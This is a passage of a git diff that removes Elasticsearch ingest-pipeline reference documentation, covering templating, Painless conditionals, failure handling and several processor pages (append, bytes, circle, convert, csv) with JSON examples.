-and is lost after a document has been processed by the pipeline. Therefore, ingest metadata won't be indexed.
-
-The following example adds a field with the name `received`. The value is the ingest timestamp:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "received",
-    "value": "{{_ingest.timestamp}}"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Unlike Elasticsearch metadata fields, the ingest metadata field name `_ingest` can be used as a valid field name
-in the source of a document. Use `_source._ingest` to refer to the field in the source document. Otherwise, `_ingest`
-will be interpreted as an ingest metadata field.
-
-[discrete]
-[[accessing-template-fields]]
-=== Accessing Fields and Metafields in Templates
-A number of processor settings also support templating. Settings that support templating can have zero or more
-template snippets. A template snippet begins with `{{` and ends with `}}`.
-Accessing fields and metafields in templates is exactly the same as via regular processor field settings.
-
-The following example adds a field named `field_c`. Its value is a concatenation of
-the values of `field_a` and `field_b`.
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "field_c",
-    "value": "{{field_a}} {{field_b}}"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The following example uses the value of the `geoip.country_iso_code` field in the source
-to set the index that the document will be indexed into:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "_index",
-    "value": "{{geoip.country_iso_code}}"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Dynamic field names are also supported. This example sets the field named after the
-value of `service` to the value of the field `code`:
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "field": "{{service}}",
-    "value": "{{code}}"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[ingest-conditionals]]
-== Conditional Execution in Pipelines
-
-Each processor allows for an optional `if` condition to determine if that
-processor should be executed or skipped. The value of the `if` is a
-<<modules-scripting-painless, Painless>> script that needs to evaluate
-to `true` or `false`.
-
-For example the following processor will <<drop-processor,drop>> the document
-(i.e. not index it) if the input document has a field named `network_name`
-and it is equal to `Guest`.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/drop_guests_network
-{
-  "processors": [
-    {
-      "drop": {
-        "if": "ctx.network_name == 'Guest'"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Using that pipeline for an index request:
-
-[source,console]
---------------------------------------------------
-POST test/_doc/1?pipeline=drop_guests_network
-{
-  "network_name" : "Guest"
-}
---------------------------------------------------
-// TEST[continued]
-
-Results in nothing indexed since the conditional evaluated to `true`.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "test",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": -3,
-  "result": "noop",
-  "_shards": {
-    "total": 0,
-    "successful": 0,
-    "failed": 0
-  }
-}
---------------------------------------------------
-
-
-[[ingest-conditional-nullcheck]]
-=== Handling Nested Fields in Conditionals
-
-Source documents often contain nested fields. Care should be taken
-to avoid NullPointerExceptions if the parent object does not exist
-in the document. For example `ctx.a.b.c` can throw an NullPointerExceptions
-if the source document does not have top level `a` object, or a second
-level `b` object.
-
-To help protect against NullPointerExceptions, null safe operations should be used.
-Fortunately, Painless makes {painless}/painless-operators-reference.html#null-safe-operator[null safe]
-operations easy with the `?.` operator.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/drop_guests_network
-{
-  "processors": [
-    {
-      "drop": {
-        "if": "ctx.network?.name == 'Guest'"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-The following document will get <<drop-processor,dropped>> correctly:
-
-[source,console]
---------------------------------------------------
-POST test/_doc/1?pipeline=drop_guests_network
-{
-  "network": {
-    "name": "Guest"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Thanks to the `?.` operator the following document will not throw an error.
-If the pipeline used a `.` the following document would throw a NullPointerException
-since the `network` object is not part of the source document.
-
-[source,console]
---------------------------------------------------
-POST test/_doc/2?pipeline=drop_guests_network
-{
-  "foo" : "bar"
-}
---------------------------------------------------
-// TEST[continued]
-
-////
-Hidden example assertion:
-[source,console]
---------------------------------------------------
-GET test/_doc/2
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "test",
-  "_type": "_doc",
-  "_id": "2",
-  "_version": 1,
-  "_seq_no": 22,
-  "_primary_term": 1,
-  "found": true,
-  "_source": {
-    "foo": "bar"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/]
-////
-
-The source document can also use dot delimited fields to represent nested fields.
-
-For example instead the source document defining the fields nested:
-
-[source,js]
---------------------------------------------------
-{
-  "network": {
-    "name": "Guest"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The source document may have the nested fields flattened as such:
-[source,js]
---------------------------------------------------
-{
-  "network.name": "Guest"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If this is the case, use the <<dot-expand-processor, Dot Expand Processor>>
-so that the nested fields may be used in a conditional.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/drop_guests_network
-{
-  "processors": [
-    {
-      "dot_expander": {
-        "field": "network.name"
-      }
-    },
-    {
-      "drop": {
-        "if": "ctx.network?.name == 'Guest'"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Now the following input document can be used with a conditional in the pipeline.
-
-[source,console]
---------------------------------------------------
-POST test/_doc/3?pipeline=drop_guests_network
-{
-  "network.name": "Guest"
-}
---------------------------------------------------
-// TEST[continued]
-
-The `?.` operators works well for use in the `if` conditional
-because the {painless}/painless-operators-reference.html#null-safe-operator[null safe operator]
-returns null if the object is null and `==` is null safe (as well as many other
-{painless}/painless-operators.html[painless operators]).
-
-However, calling a method such as `.equalsIgnoreCase` is not null safe
-and can result in a NullPointerException.
-
-Some situations allow for the same functionality but done so in a null safe manner.
-For example: `'Guest'.equalsIgnoreCase(ctx.network?.name)` is null safe because
-`Guest` is always non null, but `ctx.network?.name.equalsIgnoreCase('Guest')` is not null safe
-since `ctx.network?.name` can return null.
-
-Some situations require an explicit null check. In the following example there
-is not null safe alternative, so an explicit null check is needed.
-
-[source,js]
---------------------------------------------------
-{
-  "drop": {
-    "if": "ctx.network?.name != null && ctx.network.name.contains('Guest')"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[ingest-conditional-complex]]
-=== Complex Conditionals
-The `if` condition can be more complex than a simple equality check.
-The full power of the <<modules-scripting-painless, Painless Scripting Language>> is available and
-running in the {painless}/painless-ingest-processor-context.html[ingest processor context].
-
-IMPORTANT: The value of ctx is read-only in `if` conditions.
-
-A more complex `if` condition that drops the document (i.e. not index it)
-unless it has a multi-valued tag field with at least one value that contains the characters
-`prod` (case insensitive).
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/not_prod_dropper
-{
-  "processors": [
-    {
-      "drop": {
-        "if": "Collection tags = ctx.tags;if(tags != null){for (String tag : tags) {if (tag.toLowerCase().contains('prod')) { return false;}}} return true;"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-The conditional needs to be all on one line since JSON does not
-support new line characters. However, Kibana's console supports
-a triple quote syntax to help with writing and debugging
-scripts like these.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/not_prod_dropper
-{
-  "processors": [
-    {
-      "drop": {
-        "if": """
-            Collection tags = ctx.tags;
-            if(tags != null){
-              for (String tag : tags) {
-                  if (tag.toLowerCase().contains('prod')) {
-                      return false;
-                  }
-              }
-            }
-            return true;
-        """
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-or it can be built with a stored script:
-
-[source,console]
---------------------------------------------------
-PUT _scripts/not_prod
-{
-  "script": {
-    "lang": "painless",
-    "source": """
-        Collection tags = ctx.tags;
-        if(tags != null){
-          for (String tag : tags) {
-              if (tag.toLowerCase().contains('prod')) {
-                  return false;
-              }
-          }
-        }
-        return true;
-    """
-  }
-}
-PUT _ingest/pipeline/not_prod_dropper
-{
-  "processors": [
-    {
-      "drop": {
-        "if": { "id": "not_prod" }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-Either way, you can run it with:
-
-[source,console]
---------------------------------------------------
-POST test/_doc/1?pipeline=not_prod_dropper
-{
-  "tags": ["application:myapp", "env:Stage"]
-}
---------------------------------------------------
-// TEST[continued]
-
-The document is <<drop-processor,dropped>> since `prod` (case insensitive)
-is not found in the tags.
-
-The following document is indexed (i.e. not dropped) since
-`prod` (case insensitive) is found in the tags.
-
-[source,console]
---------------------------------------------------
-POST test/_doc/2?pipeline=not_prod_dropper
-{
-  "tags": ["application:myapp", "env:Production"]
-}
---------------------------------------------------
-// TEST[continued]
-
-////
-Hidden example assertion:
-[source,console]
---------------------------------------------------
-GET test/_doc/2
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "test",
-  "_type": "_doc",
-  "_id": "2",
-  "_version": 1,
-  "_seq_no": 34,
-  "_primary_term": 1,
-  "found": true,
-  "_source": {
-    "tags": [
-      "application:myapp",
-      "env:Production"
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-////
-
-
-
-The <<simulate-pipeline-api>> with verbose can be used to help build out
-complex conditionals. If the conditional evaluates to false it will be
-omitted from the verbose results of the simulation since the document will not change.
-
-Care should be taken to avoid overly complex or expensive conditional checks
-since the condition needs to be checked for each and every document.
-
-[[conditionals-with-multiple-pipelines]]
-=== Conditionals with the Pipeline Processor
-The combination of the `if` conditional and the <<pipeline-processor>> can result in a simple,
-yet powerful means to process heterogeneous input. For example, you can define a single pipeline
-that delegates to other pipelines based on some criteria.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/logs_pipeline
-{
-  "description": "A pipeline of pipelines for log files",
-  "version": 1,
-  "processors": [
-    {
-      "pipeline": {
-        "if": "ctx.service?.name == 'apache_httpd'",
-        "name": "httpd_pipeline"
-      }
-    },
-    {
-      "pipeline": {
-        "if": "ctx.service?.name == 'syslog'",
-        "name": "syslog_pipeline"
-      }
-    },
-    {
-      "fail": {
-        "if": "ctx.service?.name != 'apache_httpd' && ctx.service?.name != 'syslog'",
-        "message": "This pipeline requires service.name to be either `syslog` or `apache_httpd`"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-The above example allows consumers to point to a single pipeline for all log based index requests.
-Based on the conditional, the correct pipeline will be called to process that type of data.
-
-This pattern works well with a <<dynamic-index-settings, default pipeline>> defined in an index mapping
-template for all indexes that hold data that needs pre-index processing.
-
-[[conditionals-with-regex]]
-=== Conditionals with the Regular Expressions
-The `if` conditional is implemented as a Painless script, which requires
-{painless}//painless-regexes.html[explicit support for regular expressions].
-
-`script.painless.regex.enabled: true` must be set in `elasticsearch.yml` to use regular
-expressions in the `if` condition.
-
-If regular expressions are enabled, operators such as `=~` can be used against a `/pattern/` for conditions.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/check_url
-{
-  "processors": [
-    {
-      "set": {
-        "if": "ctx.href?.url =~ /^http[^s]/",
-        "field": "href.insecure",
-        "value": true
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-POST test/_doc/1?pipeline=check_url
-{
-  "href": {
-    "url": "http://www.elastic.co/"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Results in:
-
-////
-Hidden example assertion:
-[source,console]
---------------------------------------------------
-GET test/_doc/1
---------------------------------------------------
-// TEST[continued]
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "test",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "_seq_no": 60,
-  "_primary_term": 1,
-  "found": true,
-  "_source": {
-    "href": {
-      "insecure": true,
-      "url": "http://www.elastic.co/"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-Regular expressions can be expensive and should be avoided if viable
-alternatives exist.
-
-For example in this case `startsWith` can be used to get the same result
-without using a regular expression:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/check_url
-{
-  "processors": [
-    {
-      "set": {
-        "if": "ctx.href?.url != null && ctx.href.url.startsWith('http://')",
-        "field": "href.insecure",
-        "value": true
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-[[handling-failure-in-pipelines]]
-== Handling Failures in Pipelines
-
-In its simplest use case, a pipeline defines a list of processors that
-are executed sequentially, and processing halts at the first exception. This
-behavior may not be desirable when failures are expected. For example, you may have logs
-that don't match the specified grok expression. Instead of halting execution, you may
-want to index such documents into a separate index.
-
-To enable this behavior, you can use the `on_failure` parameter. The `on_failure` parameter
-defines a list of processors to be executed immediately following the failed processor.
-You can specify this parameter at the pipeline level, as well as at the processor
-level. If a processor specifies an `on_failure` configuration, whether
-it is empty or not, any exceptions that are thrown by the processor are caught, and the
-pipeline continues executing the remaining processors. Because you can define further processors
-within the scope of an `on_failure` statement, you can nest failure handling.
-
-The following example defines a pipeline that renames the `foo` field in
-the processed document to `bar`. If the document does not contain the `foo` field, the processor
-attaches an error message to the document for later analysis within
-Elasticsearch.
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "my first pipeline with handled exceptions",
-  "processors" : [
-    {
-      "rename" : {
-        "field" : "foo",
-        "target_field" : "bar",
-        "on_failure" : [
-          {
-            "set" : {
-              "field" : "error.message",
-              "value" : "field \"foo\" does not exist, cannot rename to \"bar\""
-            }
-          }
-        ]
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The following example defines an `on_failure` block on a whole pipeline to change
-the index to which failed documents get sent.
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "my first pipeline with handled exceptions",
-  "processors" : [ ... ],
-  "on_failure" : [
-    {
-      "set" : {
-        "field" : "_index",
-        "value" : "failed-{{ _index }}"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Alternatively instead of defining behaviour in case of processor failure, it is also possible
-to ignore a failure and continue with the next processor by specifying the `ignore_failure` setting.
-
-In case in the example below the field `foo` doesn't exist the failure will be caught and the pipeline
-continues to execute, which in this case means that the pipeline does nothing.
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "my first pipeline with handled exceptions",
-  "processors" : [
-    {
-      "rename" : {
-        "field" : "foo",
-        "target_field" : "bar",
-        "ignore_failure" : true
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The `ignore_failure` can be set on any processor and defaults to `false`.
-
-[discrete]
-[[accessing-error-metadata]]
-=== Accessing Error Metadata From Processors Handling Exceptions
-
-You may want to retrieve the actual error message that was thrown
-by a failed processor. To do so you can access metadata fields called
-`on_failure_message`, `on_failure_processor_type`, `on_failure_processor_tag` and
-`on_failure_pipeline` (in case an error occurred inside a pipeline processor).
-These fields are only accessible from within the context of an `on_failure` block.
-
-Here is an updated version of the example that you
-saw earlier. But instead of setting the error message manually, the example leverages the `on_failure_message`
-metadata field to provide the error message.
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "my first pipeline with handled exceptions",
-  "processors" : [
-    {
-      "rename" : {
-        "field" : "foo",
-        "to" : "bar",
-        "on_failure" : [
-          {
-            "set" : {
-              "field" : "error.message",
-              "value" : "{{ _ingest.on_failure_message }}"
-            }
-          }
-        ]
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-include::enrich.asciidoc[]
-
-
-[[ingest-processors]]
-== Processors
-
-All processors are defined in the following way within a pipeline definition:
-
-[source,js]
---------------------------------------------------
-{
-  "PROCESSOR_NAME" : {
-    ... processor configuration options ...
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Each processor defines its own configuration parameters, but all processors have
-the ability to declare `tag`, `on_failure` and `if` fields. These fields are optional.
-
-A `tag` is simply a string identifier of the specific instantiation of a certain
-processor in a pipeline. The `tag` field does not affect the processor's behavior,
-but is very useful for bookkeeping and tracing errors to specific processors.
-
-The `if` field must contain a script that returns a boolean value. If the script evaluates to `true`
-then the processor will be executed for the given document otherwise it will be skipped.
-The `if` field takes an object with the script fields defined in <<script-processor, script-options>>
-and accesses a read only version of the document via the same `ctx` variable used by scripts in the
-<<script-processor>>.
-
-[source,js]
---------------------------------------------------
-{
-  "set": {
-    "if": "ctx.foo == 'someValue'",
-    "field": "found",
-    "value": true
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-See <<ingest-conditionals>> to learn more about the `if` field and conditional execution.
-
-See <<handling-failure-in-pipelines>> to learn more about the `on_failure` field and error handling in pipelines.
-
-The <<cluster-nodes-info,node info API>> will provide a per node list of what processors are available.
-
-Custom processors must be installed on all nodes. The put pipeline API will fail if a processor specified in a pipeline
-doesn't exist on all nodes. If you rely on custom processor plugins make sure to mark these plugins as mandatory by adding
-`plugin.mandatory` setting to the `config/elasticsearch.yml` file, for example:
-
-[source,yaml]
---------------------------------------------------
-plugin.mandatory: ingest-attachment
---------------------------------------------------
-
-A node will not start if this plugin is not available.
-
-The <<cluster-nodes-stats,node stats API>> can be used to fetch ingest usage statistics, globally and on a per
-pipeline basis. Useful to find out which pipelines are used the most or spent the most time on preprocessing.
-
-[discrete]
-=== Ingest Processor Plugins
-
-Additional ingest processors can be implemented and installed as Elasticsearch {plugins}/intro.html[plugins].
-See {plugins}/ingest.html[Ingest plugins] for information about the available ingest plugins.
-
-include::processors/append.asciidoc[]
-include::processors/bytes.asciidoc[]
-include::processors/circle.asciidoc[]
-include::processors/convert.asciidoc[]
-include::processors/csv.asciidoc[]
-include::processors/date.asciidoc[]
-include::processors/date-index-name.asciidoc[]
-include::processors/dissect.asciidoc[]
-include::processors/dot-expand.asciidoc[]
-include::processors/drop.asciidoc[]
-include::processors/enrich.asciidoc[]
-include::processors/fail.asciidoc[]
-include::processors/foreach.asciidoc[]
-include::processors/geoip.asciidoc[]
-include::processors/grok.asciidoc[]
-include::processors/gsub.asciidoc[]
-include::processors/html_strip.asciidoc[]
-include::processors/inference.asciidoc[]
-include::processors/join.asciidoc[]
-include::processors/json.asciidoc[]
-include::processors/kv.asciidoc[]
-include::processors/lowercase.asciidoc[]
-include::processors/pipeline.asciidoc[]
-include::processors/remove.asciidoc[]
-include::processors/rename.asciidoc[]
-include::processors/script.asciidoc[]
-include::processors/set.asciidoc[]
-include::processors/set-security-user.asciidoc[]
-include::processors/sort.asciidoc[]
-include::processors/split.asciidoc[]
-include::processors/trim.asciidoc[]
-include::processors/uppercase.asciidoc[]
-include::processors/url-decode.asciidoc[]
-include::processors/user-agent.asciidoc[]
diff --git a/docs/reference/ingest/processors/append.asciidoc b/docs/reference/ingest/processors/append.asciidoc
deleted file mode 100644
index 839fec7e4ea..00000000000
--- a/docs/reference/ingest/processors/append.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[append-processor]]
-=== Append processor
-++++
-<titleabbrev>Append</titleabbrev>
-++++
-
-
-Appends one or more values to an existing array if the field already exists and it is an array.
-Converts a scalar to an array and appends one or more values to it if the field exists and it is a scalar.
-Creates an array containing the provided values if the field doesn't exist.
-Accepts a single value or an array of values.
-
-[[append-options]]
-.Append Options
-[options="header"]
-|======
-| Name      | Required  | Default  | Description
-| `field`  | yes       | -        | The field to be appended to. Supports <<accessing-template-fields,template snippets>>.
-| `value`  | yes       | -        | The value to be appended. Supports <<accessing-template-fields,template snippets>>.
-| `allow_duplicates` | no | true  | If `false`, the processor does not append
-values already present in the field.
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "append": {
-    "field": "tags",
-    "value": ["production", "{{app}}", "{{owner}}"]
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/bytes.asciidoc b/docs/reference/ingest/processors/bytes.asciidoc
deleted file mode 100644
index 5e8c4c461c1..00000000000
--- a/docs/reference/ingest/processors/bytes.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[bytes-processor]]
-=== Bytes processor
-++++
-<titleabbrev>Bytes</titleabbrev>
-++++
-
-Converts a human readable byte value (e.g. 1kb) to its value in bytes (e.g. 1024). If the field is an array of strings, all members of the array will be converted.
-
-Supported human readable units are "b", "kb", "mb", "gb", "tb", "pb" case insensitive. An error will occur if
-the field is not a supported format or resultant value exceeds 2^63.
-
-[[bytes-options]]
-.Bytes Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field to convert
-| `target_field`   | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "bytes": {
-    "field": "file.size"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/circle.asciidoc b/docs/reference/ingest/processors/circle.asciidoc
deleted file mode 100644
index 852e903f041..00000000000
--- a/docs/reference/ingest/processors/circle.asciidoc
+++ /dev/null
@@ -1,166 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ingest-circle-processor]]
-=== Circle processor
-++++
-<titleabbrev>Circle</titleabbrev>
-++++
-
-Converts circle definitions of shapes to regular polygons which approximate them.
-
-[[circle-processor-options]]
-.Circle Processor Options
-[options="header"]
-|======
-| Name                        | Required  | Default  | Description
-| `field`                     | yes       | -        | The string-valued field to trim whitespace from
-| `target_field`              | no        | `field`  | The field to assign the polygon shape to, by default `field` is updated in-place
-| `ignore_missing`            | no        | `false`  | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `error_distance`            | yes       | -        | The difference between the resulting inscribed distance from center to side and the circle's radius (measured in meters for `geo_shape`, unit-less for `shape`)
-| `shape_type`                | yes       | -        | which field mapping type is to be used when processing the circle: `geo_shape` or `shape`
-include::common-options.asciidoc[]
-|======
-
-
-image:images/spatial/error_distance.png[]
-
-[source,console]
---------------------------------------------------
-PUT circles
-{
-  "mappings": {
-    "properties": {
-      "circle": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
-
-PUT _ingest/pipeline/polygonize_circles
-{
-  "description": "translate circle to polygon",
-  "processors": [
-    {
-      "circle": {
-        "field": "circle",
-        "error_distance": 28.0,
-        "shape_type": "geo_shape"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Using the above pipeline, we can attempt to index a document into the `circles` index.
-The circle can be represented as either a WKT circle or a GeoJSON circle. The resulting
-polygon will be represented and indexed using the same format as the input circle. WKT will
-be translated to a WKT polygon, and GeoJSON circles will be translated to GeoJSON polygons.
-
-==== Example: Circle defined in Well Known Text
-
-In this example a circle defined in WKT format is indexed
-
-[source,console]
---------------------------------------------------
-PUT circles/_doc/1?pipeline=polygonize_circles
-{
-  "circle": "CIRCLE (30 10 40)"
-}
-
-GET circles/_doc/1
---------------------------------------------------
-// TEST[continued]
-
-The response from the above index request:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "circles",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "_seq_no": 22,
-  "_primary_term": 1,
-  "_source": {
-    "circle": "POLYGON ((30.000365257263184 10.0, 30.000111397193788 10.00034284530941, 29.999706043744222 10.000213571721195, 29.999706043744222 9.999786428278805, 30.000111397193788 9.99965715469059, 30.000365257263184 10.0))"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/]
-
-==== Example: Circle defined in GeoJSON
-
-In this example a circle defined in GeoJSON format is indexed
-
-[source,console]
---------------------------------------------------
-PUT circles/_doc/2?pipeline=polygonize_circles
-{
-  "circle": {
-    "type": "circle",
-    "radius": "40m",
-    "coordinates": [30, 10]
-  }
-}
-
-GET circles/_doc/2
---------------------------------------------------
-// TEST[continued]
-
-The response from the above index request:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "circles",
-  "_type": "_doc",
-  "_id": "2",
-  "_version": 1,
-  "_seq_no": 22,
-  "_primary_term": 1,
-  "_source": {
-    "circle": {
-      "coordinates": [
-        [
-          [30.000365257263184, 10.0],
-          [30.000111397193788, 10.00034284530941],
-          [29.999706043744222, 10.000213571721195],
-          [29.999706043744222, 9.999786428278805],
-          [30.000111397193788, 9.99965715469059],
-          [30.000365257263184, 10.0]
-        ]
-      ],
-      "type": "Polygon"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/]
-
-[[circle-processor-notes]]
-==== Notes on Accuracy
-
-Accuracy of the polygon that represents the circle is defined as `error_distance`. The smaller this
-difference is, the closer to a perfect circle the polygon is.
-
-Below is a table that aims to help capture how the radius of the circle affects the resulting number of sides
-of the polygon given different inputs.
-
-The minimum number of sides is `4` and the maximum is `1000`.
-
-[[circle-processor-accuracy]]
-.Circle Processor Accuracy
-[options="header"]
-|======
-| error_distance | radius in meters   | number of sides of polygon
-| 1.00           | 1.0                | 4
-| 1.00           | 10.0               | 14
-| 1.00           | 100.0              | 45
-| 1.00           | 1000.0             | 141
-| 1.00           | 10000.0            | 445
-| 1.00           | 100000.0           | 1000
-|======
diff --git a/docs/reference/ingest/processors/common-options.asciidoc b/docs/reference/ingest/processors/common-options.asciidoc
deleted file mode 100644
index dcf8b63630b..00000000000
--- a/docs/reference/ingest/processors/common-options.asciidoc
+++ /dev/null
@@ -1,5 +0,0 @@
-| `if`             | no       | -        | Conditionally execute this processor.
-| `on_failure`     | no       | -        | Handle failures for this processor. See <<handling-failure-in-pipelines>>.
-| `ignore_failure` | no       | `false`  | Ignore failures for this processor. See <<handling-failure-in-pipelines>>.
-| `tag`            | no       | -        | An identifier for this processor. Useful for debugging and metrics.
-// TODO: See <<ingest-conditionals>>. <-- for the if description once PR 35044 is merged
\ No newline at end of file
diff --git a/docs/reference/ingest/processors/convert.asciidoc b/docs/reference/ingest/processors/convert.asciidoc
deleted file mode 100644
index 073c7933647..00000000000
--- a/docs/reference/ingest/processors/convert.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-[[convert-processor]]
-=== Convert processor
-++++
-<titleabbrev>Convert</titleabbrev>
-++++
-
-Converts a field in the currently ingested document to a different type, such as converting a string to an integer.
-If the field value is an array, all members will be converted.
-
-The supported types include: `integer`, `long`, `float`, `double`, `string`, `boolean`, and `auto`.
-
-Specifying `boolean` will set the field to true if its string value is equal to `true` (ignore case), to
-false if its string value is equal to `false` (ignore case), or it will throw an exception otherwise.
-
-Specifying `auto` will attempt to convert the string-valued `field` into the closest non-string type.
-For example, a field whose value is `"true"` will be converted to its respective boolean type: `true`. Do note
-that float takes precedence of double in `auto`. A value of `"242.15"` will "automatically" be converted to
-`242.15` of type `float`. If a provided field cannot be appropriately converted, the Convert Processor will
-still process successfully and leave the field value as-is. In such a case, `target_field` will
-still be updated with the unconverted field value.
-
-[[convert-options]]
-.Convert Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field whose value is to be converted
-| `target_field`   | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `type`           | yes       | -        | The type to convert the existing value to
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-PUT _ingest/pipeline/my-pipeline-id
-{
-  "description": "converts the content of the id field to an integer",
-  "processors" : [
-    {
-      "convert" : {
-        "field" : "id",
-        "type": "integer"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/csv.asciidoc b/docs/reference/ingest/processors/csv.asciidoc
deleted file mode 100644
index e032fd3d9a1..00000000000
--- a/docs/reference/ingest/processors/csv.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[[csv-processor]]
-=== CSV processor
-++++
-<titleabbrev>CSV</titleabbrev>
-++++
-
-Extracts fields from CSV line out of a single text field within a document. Any empty field in CSV will be skipped.
-
-[[csv-options]]
-.CSV Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to extract data from
-| `target_fields`   | yes       | -        | The array of fields to assign extracted values to
-| `separator`       | no        | ,        | Separator used in CSV, has to be single character string
-| `quote`           | no        | "        | Quote used in CSV, has to be single character string
-| `ignore_missing`  | no        | `true`   | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `trim`            | no        | `false`  | Trim whitespaces in unquoted fields
-| `empty_value`     | no        | -        | Value used to fill empty fields, empty fields will be skipped if this is not provided.
-                                             Empty field is one with no value (2 consecutive separators) or empty quotes (`""`)
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "csv": {
-    "field": "my_field",
-    "target_fields": ["field1", "field2"]
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If the `trim` option is enabled then any whitespace in the beginning and in the end of each unquoted field will be trimmed.
-For example with configuration above, a value of `A, B` will result in field `field2`
-having value `{nbsp}B` (with space at the beginning). If `trim` is enabled `A, B` will result in field `field2`
-having value `B` (no whitespace). Quoted fields will be left untouched.
diff --git a/docs/reference/ingest/processors/date-index-name.asciidoc b/docs/reference/ingest/processors/date-index-name.asciidoc
deleted file mode 100644
index e4607a0567c..00000000000
--- a/docs/reference/ingest/processors/date-index-name.asciidoc
+++ /dev/null
@@ -1,145 +0,0 @@
-[[date-index-name-processor]]
-=== Date index name processor
-++++
-<titleabbrev>Date index name</titleabbrev>
-++++
-
-The purpose of this processor is to point documents to the right time based index based
